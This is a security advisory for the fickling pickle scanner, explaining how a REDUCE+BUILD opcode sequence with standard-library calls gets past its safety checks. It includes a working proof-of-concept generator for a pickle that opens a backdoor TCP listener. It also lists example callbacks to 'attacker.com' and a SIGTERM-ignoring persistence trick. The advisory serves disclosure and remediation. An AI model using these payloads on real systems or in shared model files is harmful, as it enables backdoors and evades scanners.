The vulnerability exists in the fickling library's static analysis pipeline for pickle files. It allows an attacker to bypass safety checks and execute arbitrary code. The root cause is a combination of three weaknesses:
Overly Permissive likely_safe_imports: The library considers all Python standard library modules to be safe, including dangerous ones like socketserver, smtplib, and os.
OvertlyBadEvals Checker Exemption: The main safety checker, OvertlyBadEvals, skips checking any function call that belongs to a module in the likely_safe_imports set.
__setstate__ Exclusion: An attacker can use a REDUCE opcode followed by a BUILD opcode in a pickle file. The BUILD opcode generates a __setstate__ call, which is explicitly ignored by the safety checker.
This combination allows an attacker to craft a pickle that calls dangerous functions from the standard library. The safety checkers in fickling will not flag it, returning a LIKELY_SAFE result. When the application proceeds to load the pickle, the malicious code is executed.
The provided patch mitigates the vulnerability by expanding the UNSAFE_IMPORTS blocklist in fickling/fickle.py to include many of the dangerous standard library modules. This is a workaround that prevents these specific modules from being considered safe, thus closing the bypass for those modules.
Vulnerable functions
is_likely_safe
fickling/__init__.py
This function is a primary public API for checking pickle safety. It incorrectly reports malicious pickle files as safe. This is due to flaws in the underlying static analysis, specifically the over-inclusion of standard library modules in a safe list and exemptions for `__setstate__` calls generated by the `BUILD` opcode. An attacker can craft a pickle file that bypasses this check and executes arbitrary code.
analysis.check_safety
fickling/analysis.py
This is the core analysis function that is supposed to detect unsafe pickle files. It fails to do so for payloads using the `REDUCE`+`BUILD` opcode sequence. The vulnerability is caused by bypasses in the analysis logic, such as ignoring `__setstate__` calls and trusting all standard library modules.
always_check_safety
fickling/__init__.py
This function installs a global hook for `pickle.load` that uses the flawed `check_safety` logic. As a result, it fails to prevent the loading of malicious pickles that use the `REDUCE`+`BUILD` bypass, leading to arbitrary code execution.
check_safety
fickling/__init__.py
This context manager relies on the vulnerable `check_safety` logic. It is meant to ensure that any pickle loaded within its scope is safe, but it fails to do so due to the bypass vulnerability, allowing malicious code to execute.
GHSA-mhc9-48gj-9gp3: Fickling has safety check bypass via REDUCE+BUILD opcode sequence
Technology
Python
Technology
Python
__setstate__ exclusion (fickle.py:443-446): BUILD generates a __setstate__ call which is excluded from the non_setstate_calls list. This means BUILD's call is invisible to OvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents the UnusedVariables checker from flagging the unused assignment (the only remaining detection mechanism).
Affected versions
All versions through 0.1.7 (latest as of 2026-02-18).
Affected APIs
fickling.is_likely_safe() - returns True for bypass payloads
fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
fickling --check-safety CLI - exits with code 0
fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
import fickling, pickle
fickling.always_check_safety()
# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
check_safety() context manager verification:
import fickling, pickle
with fickling.check_safety():
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
Backdoor listener PoC (most impactful)
A pickle that opens a TCP listener on port 9999, binding to all interfaces:
import io, struct
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_backdoor_listener():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# socketserver.TCPServer via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")
# Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
payload.write(b"(") # MARK
payload.write(sbu("0.0.0.0")) # host string
payload.write(b"J" + struct.pack("<i", 9999)) # BININT port
payload.write(b"t") # TUPLE
# Handler class via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")
payload.write(b"\x86") # TUPLE2 -> (address, handler)
payload.write(b"R") # REDUCE -> TCPServer(address, handler)
payload.write(b"N") # NONE
payload.write(b"b") # BUILD(None) -> no-op
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
The TCPServer constructor calls server_bind() and server_activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.
Impact
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:
Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.
Process persistence: signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.
Outbound exfiltration channels: smtplib.SMTP('attacker.com'), ftplib.FTP('attacker.com'), imaplib.IMAP4('attacker.com'), poplib.POP3('attacker.com') open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.
File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path as a side effect of the constructor.
A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.
This affects any application using fickling as a safety gate for ML model files.
Suggested Fix
Restrict likely_safe_imports to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the OvertlyBadEvals exemption for likely_safe_imports or expand the UNSAFE_IMPORTS blocklist to cover network/file/compilation modules.
Relationship to GHSA-83pf-v6qq-pwmr
GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to UNSAFE_IMPORTS does NOT fix this vulnerability because the root cause is the OvertlyBadEvals exemption for likely_safe_imports (analysis.py:304-310), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include socketserver, signal, sqlite3, threading, compileall, and others beyond the scope of that advisory.